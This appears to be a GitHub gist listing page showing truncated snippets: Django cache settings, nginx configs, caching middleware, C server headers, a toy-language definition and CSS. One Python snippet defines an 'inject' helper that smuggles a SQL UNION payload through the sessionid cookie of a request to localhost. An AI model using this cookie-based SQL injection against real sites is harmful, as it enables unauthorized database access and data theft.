Skip to content

Instantly share code, notes, and snippets.

@rafaelcaricio
rafaelcaricio / settings.py
Created November 2, 2010 18:12
Parte do settings.py
# ...
CACHE_BACKEND = 'memcached://127.0.0.1:11211/'
# criado por mim
CACHE_KEY_PREFIX = 'easyproject'
CACHE_IGNORE_REGEXPS = (
r'/admin.*',
)
@rafaelcaricio
rafaelcaricio / gist:660043
Created November 2, 2010 18:15
Configurações do NGINX atualizadas.
upstream easy_gunicorn {
server 127.0.0.1:9000;
}
server {
listen 80;
server_name localhost 127.0.0.1;
client_max_body_size 10m;
access_log /var/log/nginx/easyproject.access.log;
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import re
from django.core.cache import cache
from django.conf import settings
class NginxCacheMiddleware:
def process_response(self, request, response):
cacheIt = True
# ...
CACHE_MIDDLEWARE_KEY_PREFIX = 'atepassar'
# Cache system integrated with NGINX
CACHE_KEY_PREFIX = CACHE_MIDDLEWARE_KEY_PREFIX
CACHE_IGNORE_REGEXPS = (
r'/admin.*',
r'/cadastre.*',
r'/login.*',
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/queue.h>
#include <string.h>
#include <stdlib.h>
#include <err.h>
#include <event.h>
#include <evhttp.h>
#include <libmemcached/memcached.h>
upstream easy_gunicorn {
server 127.0.0.1:9000;
}
upstream pre_server {
server 127.0.0.1:8000;
}
server {
listen 80;
# -*- ecoding:utf-8 -*-
import urllib2
from string import ascii_lowercase, digits
def inject(sql):
"""Injeta o commando SQL no cookie da requisição."""
r = urllib2.Request("http://localhost")
r.add_header("Cookie", "sessionid=' UNION %s" % sql.replace("\n", " ").strip())
return urllib2.urlopen(r)
@rafaelcaricio
rafaelcaricio / filter_def
Created July 17, 2011 23:47
Blog post - Implementando uma Toy Programming Language
filter = { _array, _func:
map( map(_array, _func), { _item:
if ( _item, {
_item
});
});
};
@rafaelcaricio
rafaelcaricio / dabblet.css
Created December 16, 2011 20:25
The first commented line is your dabblet’s title
/**
* The first commented line is your dabblet’s title
*/
.coisa {
margin-top: 40px;
width: 100px;
height: 100px;
background-color: #bbb;
}
@rafaelcaricio
rafaelcaricio / .gitignore
Created March 9, 2012 23:24
test_hash.py
*.swp
*.pyc
*.pyo